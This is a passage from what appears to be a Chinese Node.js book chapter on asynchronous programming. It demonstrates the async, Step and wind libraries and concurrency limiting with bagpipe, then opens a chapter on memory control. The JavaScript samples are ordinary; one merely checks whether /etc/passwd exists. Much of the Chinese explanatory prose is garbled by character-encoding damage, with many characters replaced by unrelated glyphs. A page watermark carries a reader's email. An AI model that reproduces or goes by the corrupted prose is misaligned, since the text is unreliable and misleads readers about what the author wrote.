  complieAsserts: function (callback) { 

    // complie asserts 

    callback(); 

  }, 

  uploadAsserts: ['complieAsserts', function (callback) { 

    // upload to assert 

    callback(); 

  }], 

  startup: ['connectMongoDB', 'connectRedis', 'uploadAsserts', function (callback) { 

    // startup 

  }] 

}; 

auto()ழก能಩૵Ιᠺ关系自动分ౡ，以最·的ᮊ序੯ᛠ以上ˉ务Ὑ 

async.auto(deps); 

ᣀ૰到EventProxy的实ဗ，Ѷᭉ要ఝጹᒍ的事͇分ᦠ，相关̼ᆉݟ下Ὑ 

proxy.assp('readtheconfig', function () { 

  // read config file 

  proxy.emit('readConfig'); 

}).on('readConfig', function () { 

  // connect to mongodb 

  proxy.emit('connectMongoDB'); 

}).on('readConfig', function () { 

  // connect to redis 

  proxy.emit('connectRedis'); 

}).assp('complietheasserts', function () { 

  // complie asserts 

  proxy.emit('complieAsserts'); 

}).on('complieAsserts', function () { 

  // upload to assert 

  proxy.emit('uploadAsserts'); 

}).all('connectMongoDB', 'connectRedis', 'uploadAsserts', function () { 

  // Startup 

}); 

z ࠴ፆ 

本ᓫ˞要̭ፀasync的几ሗ࣡᜸用ก。൤外，async还ଡΘ了forEach、mapኍዜECMAScript5

中数组的ழก，ఝ多ጹᓫ可关ซhttps://github.com/caolan/async。 

3. Step 
Բ一个ᅻՏ的ึ程ଌ҃ं是Tim Caswell的Step，它ඊasyncఝᣏ量，在API的఑᭚上也ఝХܫ

一ᒰ性，因为它只有一个接ԯStep。᤯过npm install stepԀ可߶ᜈ使用。ᇧΒ̼ᆉݟ下Ὑ 

Step(task1, task2, task3); 

Step接ԩ͉਒数量的͉务，੝有的͉务都࠱会˘ᛠΙ次੯ᛠ。下᭦的ᇧΒ̼ᆉ࠱Ι次读Ԩ஠͇Ὑ 

Step( 

  function readFile1() { 

    fs.readFile('file1.txt', 'utf-8', this); 

  }, 
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  function readFile2(err, content) { 

    fs.readFile('file2.txt', 'utf-8', this); 

  }, 

  function done(err, content) { 

    console.log(content); 

  } 

); 

可以ᄹ到，Step与前᭦̭ፀ的事͇ഴय、Promise甚至async都不Վ的一ཁ在于Step用到了this

关᪃ߙ。事实上，它是Step内部的一个next()ழก，࠱ऩ൥ុ用的ፆ౦͛ᤫፋ下一个͉务作为ԟ

数，并ុ用੯ᛠ。 

z ࣲᛠ͉ҫ੯ᛠ 

ᥦ˥，Stepݟʹ实ဗ多个ऩ൥͉务并ᛠ੯ᛠփ὞thisХ有一个parallel()ழก，它նឃStep，

ᭉ要ኍ੝有͉务߸੆时才ᤈᛠ下一个͉务，相关̼ᆉݟ下Ὑ 

Step( 

  function readFile1() { 

    fs.readFile('file1.txt', 'utf-8', this.parallel()); 

    fs.readFile('file2.txt', 'utf-8', this.parallel()); 

  }, 

  function done(err, content1, content2) { 

    // content1 => file1 

    // content2 => file2 

    console.log(arguments); 

  } 

); 

使用parallel()的时候ᭉ要小心的是，ݟ౦ऩ൥ழก的ፆ౦͛ٿ的是多个ԟ数，Step࠱只会

Ԩ前ˏ个ԟ数，相关̼ᆉݟ下Ὑ 

var asyncCall = function (callback) { 

  process.nextTick(function () { 

    callback(null, 'result1', 'result2'); 

  }); 

}; 

在ុ用parallel()时，result2࠱会ᜁˎप。 

Step的parallel()ழก的ԓူ是ඇ次੯ᛠ时࠱内部的᝟数٧加1，ཨ后ᤄٿ一个ុٿѥ数，这

个ុٿѥ数在ऩ൥ុ用ፆో时才੯ᛠ。ॆុٿѥ数੯ᛠ时，࠱᝟数٧ђ1。ॆ᝟数٧为0的时候，

նᅻStep੝有ऩ൥ុ用ፆో了，Step会੯ᛠ下一个ழก。 

Step与async相Վ的是ऩ࣡ူܪ，一ெ有一个ऩ࣡产生，这个ऩ࣡会作为下一个ழก的ኃ一个

ԟ数͛入。 

z ፆ౦ѫጷ 

StepଡΘ的Բ外一个ழก是group()，它ዜͪ于parallel()的஌౦，ͭ是在ፆ౦͛ᤫ上႔有不

Վ。下᭦的̼ᆉ用于读Ԩ一个目े，ཨ后ᤕ̼Ф中஠͇的ୱ作Ὑ 

Step( 

  function readDir() { 
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    fs.readdir(__dirname, this); 

  }, 

  function readFiles(err, results) { 

    if (err) throw err; 

    // Create a new group 

    var group = this.group(); 

    results.forEach(function (filename) { 

      if (/\.js$/.test(filename)) { 

        fs.readFile(__dirname + "/" + filename, 'utf8', group()); 

      } 

    }); 

  }, 

  function showAll(err, files) { 

    if (err) throw err; 

    console.dir(files); 

  } 

); 

我们ซ਒到有ˏ次group()的ុ用。ኃ一次ុ用是նᅻStep要并ᛠ੯ᛠ，ኃ̃次ុ用的ፆ౦࠱

会生੆一个ុٿѥ数，Ꮺុٿѥ数接ԩ的ᤄٿϘ࠱会૊组ߚϱ。parallel()͛ᤫፋ下一个͉务的

ፆ౦是ݟ下्यὙ 

function (err, result1, result2, ...); 

group()͛ᤫ的ፆ౦是Ὑ 

function (err, results); 

这个ѥ数ᤄٿ的数૵γߚ在数组中。 

4. wind 
这᧖还要̭ፀ一ሗধᡸ߸К不Վ的ऩ൥编程ழ಴wind（https://github.com/JeffreyZhao/wind）。

它的前ᢵ为Jscex，由国内ᅻՏᆉйᡎ࢐߸੆开发。它为JavaScript语言ଡΘ了一个monadicੰࡘ，

能ܴ௬ᗂଡ高一些࣡᜸场景下的ऩ൥编程ͳᰍ。 

ऩ൥编程有时ᭉ要᭦˙的场景᭣࣡ྱ൳，下᭦我们由一个гงଅ序౎了解wind的ྱ൳之ܪὙ 

var compare = function (x, y) { 

  return x - y;  

}; 

 

var swap = function (a, i, j) { 

  var t = a[i]; a[i] = a[j]; a[j] = t; 

}; 

 

var bubbleSort = function (array) { 

  for (var i = 0; i < array.length; i++) { 

    for (var j = 0; j < array.length - i - 1; j++) { 

      if (compare(array[j], array[j + 1]) > 0) { 

        swap(array, j, j + 1); 

      } 

    } 

  } 

}; 
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ဗ在我们要ຊ加的ᭉය是，࠱这个гงଅ序动ႆ起౎。这਒։着在swap()ழก中ᭉ要ຊ加动

ႆ᤾ᣣ，这在JavaScript中并不是一͇ᬱ事，ڇᬱ的ڠழ在于动ႆᭉ要ढ时的ழय߸੆。ͭ在

JavaScript中只有setTimeout()能ܴ实ဗढ时ҩ能（用whileѻற时ᫍ的ழय不可Ԩ，这在前᭦有੝ଠ

ᤗ）。我们ᅻ᥊，setTimeout()是一个ऩ൥ழก，在੯ᛠ后，࠱立Ԁᤄٿ。੝以，ᬱཁѢဗ在Ὑ 

� 动ႆ੯ᛠ时௃กϢൢଅ序ኪก的੯ᛠ὚ 

� ଅ序ኪก的继续੯ᛠ࠱会ը动ఝ多动ႆ。 

因൤，ᤩ൥ᰠ的动ႆ࠱ᬱ以实ဗ，Ꮺwind在解决这个问题上ͳဗѢ了它的࿗ྱ᱊Ҧ之ܪ，相

关̼ᆉݟ下Ὑ 

var compare = function (x, y) { 

  return x - y;  

}; 
 
var swapAsync = eval(Wind.compile("async", function (a, i, j) { 

  $await(Wind.Async.sleep(20)); // ሡཕ20ࡹ௱ 

  var t = a[i]; a[i] = a[j]; a[j] = t; 

  paint(a); // 重ࣼ数组 

})); 

 

var bubbleSort = eval(Wind.compile("async", function (array) { 

  for (var i = 0; i < array.length; i++) { 

    for (var j = 0; j < array.length - i - 1; j++) { 

      if (compare(array[j], array[j + 1]) > 0) { 

        $await(swapAsync(array, j, j + 1)); 

      } 

    } 

  } 

})); 

上ᤗ̼ᆉ实ဗ了ఆϢ20ඒሙ、ፊ҃动ႆ、继续ଅ序的஌౦。从̼ᆉ的ᝇऎ౎ឬ，这᧖ᙉཨ̭

入了ऩ൥ழก，ͭ 是并没有ݟՎФ他ऩ൥ึ程ଌ҃ंᥦ样Ԫ३ऩ൥Ӑ，᤾ᣣ并没有因为ऩ൥ᜁઞ

分。Վ时可以ซ਒到，我们的̼ᆉ中ल入了一些新的ˋ᜴Ὑ 

� eval(Wind.compile("async", function() {})); 

� $await(); 

� Wind.Async.sleep(20); 

下᭦我们࠱សጹ̭ፀ以上3ᛠ̼ᆉ的ྱऩ之ܪ。 

z ऩ൥͉ҫ定˦ 

eval()ѥ数在ˉႌ一Փ是一个ᭉ要៞ਠ对य़的ѥ数，Douglas Crockfordఝ是深ৎ჋绝࠱ڠФ

ሥ为᱑᱅，因为它能᝺问上下஠֖编ដ٧，可能࠭ᒰ上下஠ຈ˼。大多数ѽ用eval()ѥ数的人都

不能ઁଦ好它的用ก，࠭ᒰDouglas Crockford认为它是JavaScript可有可௃的ҩ能。 

ͭ是在wind的ˆႌ᧖，ৌ好反Douglas Crockford之᥊Ꮺᛠ之，ڠݫࢻѽ用了eval()᝺问上下

஠ 的 ྱ 性 。Wind.compile()会 ࠱ ௾ ᤯ 的 ѥ 数 ᤈ ᛠ 编 ដ ， ཨ 后 ̓ ፋ eval()੯ ᛠ 。 ૰ 言 之 ，

eval(Wind.compile("async", function () {}));定˦了ऩ൥͉务。Wind.Async.sleep();Ѷ内Ꮅ了

对setTimeout()的࠯ᜈ。 
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z $await()ˀ͉ҫഴۋ 

在定˦߸ऩ൥ழก后，windଡΘ了$await()ழก实ဗኍय़߸੆ऩ൥ழก。ͭ事实上，它并不

是一个ழก，也不ߚ在于上下஠中，只是一个ኍय़的ӳͮቿ，ն之编ដ٧这᧖ᭉ要ኍय़。 

$await()接ԩ的ԟ数是一个͉务对៵，ᛪᇧኍय़͉务ፆో后才会੯ᛠ后续ୱ作。ඇ一个ऩ൥

ୱ作都可以ᣀӐ为一个͉务，windൣ是۲于͉务ഴۋ实ဗ的。下᭦的̼ᆉ用于࠱fs.readFile()

ុ用ᣀӐ为一个͉务ഴۋὙ 

var Wind = require("wind"); 

var Task = Wind.Async.Task; 

 

var readFileAsync = function (file, encoding) { 

  return Task.create(function (t) { 

    fs.readFile(file, encoding, function (err, file) { 

      if (err) { 

        t.complete("failure", err); 

      } else { 

        t.complete("success", file); 

      } 

    }); 

  }); 

}; 

ᬓ了᤯过eval(Wind.compile("async", function () {}));定˦͉务外，ൣय的͉务创तழก

为Task.create()。੯ᛠreadFileAsync()ᤈᛠϟѥ数ᣀ૰३到ᄽൣ的͉务。ऩ൥ழก在੯ᛠፆో

时，可以᤯过complete()͛ᤫfailure੊success信ো，նᅻ͉务੯ᛠ߸උ。ݟ౦是failureѶ可以᤯

过try/catch૬ᖌऩ࣡。这႔ॱ有些੩ᆠ前ᤗtry/catch௃ก૬ᖌុٿѥ数中ऩ࣡的定᝶。下᭦的

̼ᆉ为ុ用readFileAsync()३到一个͉务的ᇧΒὙ 

var task = readFileAsync('file1.txt', 'utf-8'); 

下᭦我们ݟՎ̭ፀasync੊者Step的˘ᛠ੯ᛠᇧΒ一样，࠼试ਕԩ一下wind的᮲᧓Ὑ 

var serial = eval(Wind.compile("async", function () { 

  var file1 = $await(readFileAsync('file1.txt', 'utf-8')); 

  console.log(file1); 

  var file2 = $await(readFileAsync('file2.txt', 'utf-8')); 

  console.log(file2); 

  try { 

    var file3 = $await(readFileAsync('file3.txt', 'utf-8')); 

  } catch (err) { 

    console.log(err); 

  } 

})); 

 

serial().start(); 

੯ᛠ上ᤗ̼ᆉ，࠱३到ݟ下ᣤѢὙ 

file1 

 

file2 

图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权



104� � ኃ 4 ብ� ऩ൥ᎃር 

 

 

{ [Error: ENOENT, open 'file3.txt'] errno: 34, code: 'ENOENT', path: 'file3.txt' } 

ऩ൥ழก在JavaScript中᤯࣡会立Ԁᤄٿ，在wind中做到了不᫽܊CPUͭ᫽̼܊ᆉ的目的。接

下౎我们࠼试下并ᛠ的஌౦，相关̼ᆉݟ下Ὑ 

var parallel = eval(Wind.compile("async", function () { 

  var result = $await(Task.whenAll({ 

    file1: readFileAsync('file1.txt', 'utf-8'), 

    file2: readFileAsync('file2.txt', 'utf-8') 

  })); 

  console.log(result.file1); 

  console.log(result.file2); 

})); 

 

parallel().start(); 

३到ᣤѢὙ 

file1 

file2 

windଡΘ了whenAll()౎ူܪ并发，᤯过$await关᪃࠱ߙኍय़ᦠᎵ的੝有͉务߸੆后才Փ下继

续੯ᛠ。 

z ऩ൥ழกᣀ换ᣘүѥ数 

可以ᄹ到，ᬓ了eval(Wind.compile("async", function () {}))在实ᬄ̼ᆉ中ሮ௬ж᫁外，

ऩ൥ុ用在̼ᆉࡎ᭦上已经与Վ൥ុ用相ࢿ௃几。这Ӡ分᤟Ջ从已有的᧓用Վ൥编写ழय的̼ᆉ

ՓNode᣺ሧ，可以ᄴ૿᧗写̼ᆉ的开ᩘ。 

ԪኤӬ，这ሗᤂՎ൥编程的ͳᰍᭉ要我们ᮨ外ۋՎPromise/Deferredഴय可以ᝧऩ൥编程ഴݟ

੊者ଡ前߸੆的事情是Ὑ࠱ऩ൥ழก͉务Ӑ。这ሗ͉务Ӑ的过程可以ᄹ作是Promise/Deferred的࠯

ᜈ。ݟ౦ඇ个ழก都ݟreadFileAsync一ᓉԜ定˦，࠱会是一个ऊ大的工作量。windଡΘ了ˏ个

ழก౎ᣘүᣀ૰Ὑ 

� Wind.Async.Binding.fromCallback 

� Wind.Async.Binding.fromStandard 

在Node中ऩ൥ழก的͛ុٿϘ有ˏሗ，一ሗ是௃ऩ࣡的ុ用，᤯࣡只有一个ԟ数ᤄݟ，ٿ下

੝ᇧὙ 

fs.exists("/etc/passwd", function (exists) { 

  // exists֖数表๖是否存在 

}); 

ᏪfromCallback用于ᣀ૰这ዜऩ൥ុ用为wind中的͉务。 

Բ一ዜ是ࣛऩ࣡的ុ用，ᥕ९᜺ᔴ࠱ᤄٿԟ数Ѵᛪ的ኃ一个ԟ数作为ऩ࣡ಕᇧ，ݟ下੝ᇧὙ 

fs.readFile('file1.txt', function (err, data) { 

  // err表๖异常 

}); 

ᏪfromStandard用于ᣀ૰这ዜऩ൥ុ用到wind中的͉务。 
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是஋，readFileAsync的定˦Ф实只要一ᛠ̼ᆉԀ可实ဗὙ 

var readFileAsync = Wind.Async.Binding.fromStandard(fs.readFile); 

5. ⌕⿟᥻ࠊᇣ㒧 
从本书̭ፀ的Չ个ึ程ଌ҃಴Β౎ᄹ，从解决þৎ᱑᧚܈ߙÿ到解决ऩ൥Ө作的ழก有多ሗ，

几个ዜं几˪Չ௬ᇷ᤯。ऩ൥编程ᙉཨ相对复杂，ͭ并᭣ᬱ事，相Վ的问题᤯过Չሗ技ࢻΙཨ能

 。复杂的事情ኤӐ࠱

这᧖ኤӬ对ඊ下几ሗழ಴的区ѾὙ事͇发࣊/ᝠ阅ഴय相对ኪ是一ሗᣖ为ԓ始的ழय，

Promise/Deferredഴय贡献了一个᭣࣡不ᩱ的ऩ൥͉务ഴۋ的ઙ៵。Ꮺ上ᤗ的这些ऩ൥ึ程ଌ҃ழ

಴与Promise/Deferredഴय的ধᡸ不Վ，Promise/Deferred的᧗ܿ在于࠯ᜈऩ൥的ុ用部分，ึ程

ଌ҃ंѶ௬३没有ഴय，ူܪ࠱᧗ཁஉᎵ在ុٿѥ数的ซ入上。从自由ऎ上౎ᝮ，async、Step

这ዜึଌं要相对灵活३多。EventProxyंѶ˞要ύ᧜事͇发࣊/ᝠ阅ഴय֖ึ程ଌ҃ं᤯过高᫼

ѥ数生੆ុٿѥ数的ழय实ဗ。 

ᬓ了async、Step、EventProxy、windኍழ಴外，还有一ዜ᤯过源̼ᆉ编ដ的ழ಴౎实ဗึ程

ଌ҃的ኤӐ，streamline是Цۋ的Βߔ。这ዜΒߔ并不在本ብ的ᝦ᝶ᔴډ内，ݟ౦读者有Тᡙ，可

以自ᛠಉ阅相关ᠪ஧。 

4.4� ᓖℹᑊথ᥻ࠊ 

在ᬅ续̭ፀ的Չሗऩ൥编程ழก᧖，解决的问题௃外˪γ૆ऩ൥的性能优势，ଡӣ编程ͳᰍ，

ͭ是这᧖有一个过࿆不Ԣ的಴Β。 

在Node中，我们可以Ӡ分ழΦڠѽ用ऩ൥发起并ᛠុ用。使用下᭦的̼ᆉ，我们可以ᣏౚ发

起100次ऩ൥ុ用Ὑ 

for (var i = 0, i < 100; i++) { 

  async(); 

} 

ͭ是ݟ౦并发量过大，我们的下ࡎ服务࠱٧会Ո不๖。ݟ౦是对஠͇系统ᤈᛠ大量并发ុ用，

ୱ作系统的஠͇ଠᤗቿ数量࠱会ᜁᅮᫍ用Џ，ઊѢݟ下ᩱឧὙ 

Error: EMFILE, too many open files 

可以ᄹѢ，ऩ൥I/O与Վ൥I/O的௬ᗂࢿᡯὙՎ൥I/O因为ඇ个I/O都是ग़൤᫽܊的，在९环ͳ

中，঳是一个接着一个ុ用，不会ѢဗᏱ用஠͇ଠᤗቿܹ多的情х，Վ时性能也是ͯ下的὚对于

ऩ൥I/O，ᙉཨ并发ࠓ௛实ဗ，ͭ是由于ܹࠓ௛实ဗ，Ιཨᭉ要ଌ҃。૰言之，ࡉ管是要Ԍജऄ

 。系统的性能，ͭ还是ᭉ要ፋ̀一定的过ᣑγએ，以᫸ൢ过࿆不Ԣࡎ

4.4.1� bagpipeⱘ㾷އᮍḜ 

实ဗփ὞ʹݟ˥对௄有的ऩ൥APIຊ加过ᣑγએ，我们యభ的ॆཨ不是Ԝஇ动API。ᥦʹݟ

我写的bagpipeഴڰ的解决ধᡸ是这样的。 
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� ᤯过一个᫲Ѵ౎ଌ҃并发量。 

 。的ऩ൥ុ用量小于ᬌ定Ϙ，从᫲Ѵ中ԨѢ੯ᛠ（ុٿ用发起ͭల੯ᛠុૈ）౦ॆ前活跃ݟ �

 。உ在᫲Ѵ中ߚ౦活跃ុ用᣹到ᬌ定Ϙ，ុ用ఆ时ݟ �

� ඇ个ऩ൥ុ用ፆో时，从᫲Ѵ中ԨѢ新的ऩ൥ុ用੯ᛠ。 

bagpipe的API˞要఑᭚了一个push()ழก֖full事͇，ᇧΒ̼ᆉݟ下Ὑ 

var Bagpipe = require('bagpipe'); 

// 设定ፌٷժ发数为10 

var bagpipe = new Bagpipe(10); 

for (var i = 0; i < 100; i++) { 

  bagpipe.push(async, function () { 

    // 异步回调执行 

  }); 

} 

bagpipe.on('full', function (length) { 

  console.warn('֫ڹ系统处理不能त时ྜ成ǈ队列ᆛ܂ǈ目前队列长܈为:' + length); 

}); 

这᧖的实ဗጹᓫዜͪ于前஠的smooth()。push()ழกΙཨ是᤯过ѥ数Ԫ૰的ழय实ဗ，ϛ᝹

ኃ一个ԟ数是ழก，最后一个ԟ数是ុٿѥ数，Ф余为Ф他ԟ数，Фನ心实ဗݟ下Ὑ 

/** 

 * ླྀ入方法ǈ֖数ăፌࢫᅃ߲֖数为回调函数 

 * @param {Function} method 异步方法 

 * @param {Mix} args ֖数列表ǈፌࢫᅃ߲֖数为回调函数 

 */ 

Bagpipe.prototype.push = function (method) { 

  var args = [].slice.call(arguments, 1); 

  var callback = args[args.length - 1]; 

  if (typeof callback !== 'function') { 

    args.push(function () {}); 

  } 

  if (this.options.disabled || this.limit < 1) { 

    method.apply(null, args); 

    return this; 

  } 

 

  // 队列长܈ᄺג过限制ኵ时 

  if (this.queue.length < this.queueLength || !this.options.refuse) { 

    this.queue.push({ 

      method: method, 

      args: args 

    }); 

  } else { 

    var err = new Error('Too much async call in queue'); 

    err.name = 'TooMuchAsyncCallError'; 

    callback(err); 

  } 

 

  if (this.queue.length > 1) { 

    this.emit('full', this.queue.length); 

  } 
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  this.next(); 

  return this; 

}; 

 下Ὑݟ˦试触发。next()ழก的定࠼用推入᫲Ѵ后，ុ用一次next()ழกុ࠱

/*! 

 * ी续执行队列中的ࢫ续动作 

 */ 

Bagpipe.prototype.next = function () { 

  var that = this; 

  if (that.active < that.limit && that.queue.length) { 

    var req = that.queue.shift(); 

    that.run(req.method, req.args); 

  } 

}; 

next()ழก˞要ѻற活跃ុ用的数量，ݟ౦ൣ࣡，ុ࠱用内部ழกrun()౎੯ᛠᄽൣ的ុ用。

这᧖为了ѻறុٿѥ数是否੯ᛠ，᧓用了一个ซ入̼ᆉ的技ࢻ，Хͳ̼ᆉݟ下Ὑ 

/*! 

 * 执行队列中的方法 

 */ 

Bagpipe.prototype.run = function (method, args) { 

  var that = this; 

  that.active++; 

  var callback = args[args.length - 1]; 

  var timer = null; 

  var called = false; 

 

  // inject logic 

  args[args.length - 1] = function (err) { 

    // anyway, clear the timer 

    if (timer) { 

      clearTimeout(timer); 

      timer = null; 

    } 

    // if timeout, don't execute 

    if (!called) { 

      that._next(); 

      callback.apply(null, arguments); 

    } else { 

      // pass the outdated error 

      if (err) { 

        that.emit('outdated', err); 

      } 

    } 

  }; 

 

  var timeout = that.options.timeout; 

  if (timeout) { 

    timer = setTimeout(function () { 

      // set called as true 
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      called = true; 

      that._next(); 

      // pass the exception 

      var err = new Error(timeout + 'ms timeout'); 

      err.name = 'BagpipeTimeoutError'; 

      err.data = { 

        name: method.name, 

        method: method.toString(), 

        args: args.slice(0, -1) 

      }; 

      callback(err); 

    }, timeout); 

  } 

  method.apply(null, args); 

}; 

用ਖ਼͛入的ុٿѥ数ᜁᄽൣ੯ᛠ前，ᜁ࠯ᜈఢ૰过。这个࠯ᜈ的ុٿѥ数内部的᤾ᣣ࠱活跃

Ϙ的᝟数٧ђ1后，˞动ុ用next()੯ᛠ后续ኍय़的ऩ൥ុ用。 

bagpipeዜͪ于੩开了一᥊ቓԯ，Љ᝴ऩ൥ុ用并ᛠᤈᛠ，ͭ是ːಪᬌ定上ᬌ。仅仅在ុ用

push()时分开͛ᤫ，并不对ԓ有API有͉ʹΥ入。 

z ધፏഴ式 

事实上，bagpipe还有一些深ऎ的使用ழय。对于大量的ऩ൥ុ用，也ᭉ要分场景ᤈᛠ区分，

因为๗Ԣ并发ଌ҃，ॸཨ会ᤴ੆部分ុ用ᭉ要ᤈᛠኍय़。ݟ౦ុ用有实时ழ᭦的ᭉය，ᥦ˥ᭉ要

ঋᤳᤄٿ，因为ኍ到ழกᜁᄽൣ੯ᛠ时，可能已经ᡓ过了ኍय़时ᫍ，Ԁ使ᤄٿ了数૵，也没有਒

˦了。这ሗ场景下ᭉ要ঋᤳܾ᠋，ᝧុ用ழࡉ௉ᤄٿ，Ꮺ不用ํ᠟不ॸ要的ኍय़时ᫍ。bagpipe

为൤ஂ૆了ધ绝ഴय。 

ધ绝ഴय的使用只要᝹Ꮅ下ԟ数Ԁ可，相关̼ᆉݟ下Ὑ 

// 设定ፌٷժ发数为10 

var bagpipe = new Bagpipe(10, { 

  refuse: true 

}); 

在ધ绝ഴय下，ݟ౦ኍय़的ុ用᫲Ѵ也໗了之后，新౎的ុ用就ᄯ接ᤄፋ它一个᫲Ѵܹ঄的

ધ绝ऩ࣡。 

z ᡓௐଌ҃ 

ᤴ੆᫲Ѵ઴܊的˞要ԓ因是ऩ൥ុ用Ᏹ时ܹˣ，ុ 用产生的ᤳऎᤉᤉ高于੯ᛠ的ᤳऎ。为了᫸

ൢ౼些ऩ൥ុ用使用了ܹ多的时ᫍ，我们ᭉ要᝹Ꮅ一个时ᫍ۲线，࠱ᥦ些੯ᛠ时ܹᫍˣ的ऩ൥ុ用

ຌူѢ活跃᫲Ѵ，ᝧଅ᫲中的ऩ൥ុ用ࡉঋ੯ᛠ。否Ѷ在ધ绝ഴय下，会有ܹ多的ុ用因为౼个੯

ᛠ३ਤ，࠭ᒰ३到ધ绝ऩ࣡。相对Ꮺ言，这ሗ场景下३到ધ绝ऩ࣡௬३ඊᣖ௃ᣭ。为了Мࣰڠ对य़

在实时ᭉය场景下的ඇ个ុ用，ॸᮋ要ଌ҃ඇ个ុ用的੯ᛠ时ᫍ，࠱ᥦ些ࠎᏅ之ᯰᢊѢ᫲͏。 

为൤，bagpipe也ଡΘ了ᡓ时ଌ҃。ᡓ时ଌ҃是为ऩ൥ុ用᝹Ꮅ一个时ᫍ᫟Ϙ，ݟ౦ऩ൥ុ用

没有在᜺定时ᫍ内߸੆，我们Ў੯ᛠ用ਖ਼͛入的ុٿѥ数，ᝧ用ਖ਼३到一个ᡓ时ऩ࣡，以ࡉ௉ᤄ

 。ཨ后ᝧ下一个ኍय़᫲Ѵ中的ុ用੯ᛠ。ٿ
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ᡓ时的᝹Ꮅݟ下Ὑ 

// 设定ፌٷժ发数为10 

var bagpipe = new Bagpipe(10, { 

  timeout: 3000 

}); 

z ࠴ፆ 

ऩ൥ុ用的并发ᬌ҃在不Վ场景下的ᭉය不ՎὙ᭣实时场景下，ᝧᡓѢᬌ҃的并发ఆ时ኍय़

੯ᛠ已经可以໗ᡛᭉය὚ͭ在实时场景下，ᭉ要ఝጹዡऎ、ఝՋူ的ଌ҃。 

4.4.2� asyncⱘ㾷އᮍḜ 

௃࿗有ϥ，async也ଡΘ了一个ழก用于ူܪऩ൥ុ用的ᬌ҃ὙparallelLimit()。ݟ下是async

的ᇧΒ̼ᆉὙ 

async.parallelLimit([ 

  function (callback) { 

    fs.readFile('file1.txt', 'utf-8', callback); 

  }, 

  function (callback) { 

    fs.readFile('file2.txt', 'utf-8', callback); 

  } 

], 1, function (err, results) { 

  // TODO 

}); 

parallelLimit()与parallel()ዜͪ，ͭ多了一个用于ᬌ҃并发数量的ԟ数，使३͉务只能Վ

时并发一定数量，Ꮺ不是௃ᬌ҃并发。 

parallelLimit()ழก的Ꭴᬝ在于௃ก动খܘڠ加并ᛠ͉务。为൤，asyncଡΘ了queue()ழก

౎໗ᡛឞᭉය，这对于遍Ԋ஠͇目ेኍୱ作Ӡ分有஌。以下是queue()的ᇧΒ̼ᆉὙ 

var q = async.queue(function (file, callback) { 

  fs.readFile(file, 'utf-8', callback); 

}, 2); 

q.drain = function () { 

  // ྜ成କ队列中的໯有ඪ务 

}; 

fs.readdirSync('.').forEach(function (file) { 

  q.push(file, function (err, data) { 

    // TODO 

  }); 

}); 

管queue()实ဗ了动খຊ加并ᛠ͉务，ͭ是相ඊparallelLimit()，由于queue()接收的ԟ数ࡉ

是ڌ定的，它ˎܾ了parallelLimit()的多样性，我ሒ心ڠ认为bagpipeఝ灵活，可以ຊ加͉਒ዜ

场景中加入ધ绝ഴय֖ᡓ时ଌူܪ的ऩ൥͉务，也可以动খຊ加ऩ൥͉务，Վ时还能ܴ在实时ۋ

҃。在实ᬄ应用中，开发者可以಩૵场景ᤈᛠԨᒻ。 
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4.5� ᘏ㒧 

在接触Node的过程中，很多人ዣ႔ڠ接触了几个ុٿѥ数之后就உप了。ࡉ管ऩ൥编程႔ॱ

ᓢᬱ，ͭ是并᭣一௃是ܪ，一ெ习਄，就௬३自ཨ。从社区֖过ज़的经ᰍᏪ言，JavaScriptऩ൥编

程的ᬱ题已经۲本解决，௃᝶是᤯过事͇，还是᤯过Promise/Deferredഴय，੊者ึ程ଌ҃ं。相

信在ଁଦ以上技ࢻ之后，ऩ൥编程不是ᬱ事，习਄ऩ൥编程之后，࠱会收ᖌ᝴多Ϙ३享ԩ的编程

ͳᰍ。 

本ብ˞要̭ፀ了˞ึ的几ሗऩ൥编程解决ழ಴，这是目前JavaScript中˞要使用的ழ಴。ͭ 对

于Ф他语言Ꮺ言，还有Ө程（coroutine）ኍழय。ͭ 是由于Node۲于V8的ԓ因，在目前EMCAScript5

的实ဗ下还不ஂ૆Ө程。这些ಕэ֖᜺ᔴ还在҃定中，੝以ఆ时不作̭ፀ。ల౎的V8ݟ౦ஂ૆

Generator，也࠱在Node中能ᄯ接使用。 

最后，因为人们঳是习਄性ڠ以线性的ழयᤈᛠধᏥ，以ᒰऩ൥编程相对ᣖ为ᬱ以ଁଦ。这

个ˆႌ以ऩ൥ᤁᛠ的本质是不会因为大ࠑ线性ধ፤的਄性ᏪஇԪ。就像௅Ѣ月ᖿ不会因为你的心

情ᏪஇԪФ自有的ᤁᛠᢽᤛ。 

4.6� খ㗗䌘⑤ 

本ብԟᏥ的ᠪ源ݟ下Ὑ 

� http://nodejs.org/docs/latest/api/events.html 

� https://github.com/JacksonTian/eventproxy/blob/master/README.md 

� https://github.com/JeffreyZhao/jscex/blob/master/README-cn.md 

� http://documentup.com/kriskowal/q/ 

� http://gearman.org/ 

� https://github.com/JacksonTian/bagpipe 

� http://www.jslint.com/lint.html 

� https://github.com/JeffreyZhao/wind 

� http://wiki.commonjs.org/wiki/Promises 
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 ࠊᄬ᥻ݙ

 
也᝴读者会好݈为ʹ会有这样一ብߚ在于本书中，因为在过Ԝ很᫁一ൿ时ᫍ内，JavaScript

开发者很࠵在开发过程中᥄到ᭉ要对内ߚዴᆷଌ҃的场景，也Ꭴ˫ଌ҃的੣ൿ。ឬ到内ߚ෹໣，

大ࠑᯪЎ想起的也只是௉యྟ本的IE中JavaScript与DOM̓̈时发生的问题。ݟ౦页᭦᧖的内ߚ

ӳ用过多，۲本ኍ不到ᤈᛠ̼ᆉٿ收，用ਖ਼已经不Ꮼཐ҄ڠ新了ॆ前页᭦。 

ᬣ着Node的发ࡘ，JavaScript已经实ဗ了CommonJS的生খړ大一统的೔想，JavaScript的应

用场景௉已不вࡌᬌ在เ᜾٧中。本ብ࠱ఆ时ઊ开ᥦ些ᆀ时ᫍ੯ᛠ的场景，ඊݟ网页应用、֐

̽ᛠ工Хኍ，这ዜ场景由于ᤁᛠ时ᫍᆀ，且ᤁᛠ在用ਖ਼的机٧上，Ԁ使内ߚ使用过多੊内ߚ෹

໣，也只会ॕֽ到ጻ端用ਖ਼。由于ᤁᛠ时ᫍᆀ，ᬣ着ᤈ程的ᤝѢ，内ߚ会᧕உ，几˪没有内ߚ

管ူ的ॸ要。ͭᬣ着Node在服务٧端的广ค应用，Ф他语言᧖ߚ在着的问题在JavaScript中也఑

᭚Ѣ౎了。 

۲于௃᫽܊、事͇驱动त立的Node服务，Х有内ߚ๖Ᏹͯ的优ཁ，᭣࣡᤟Ջူܪ海量的网ፎ

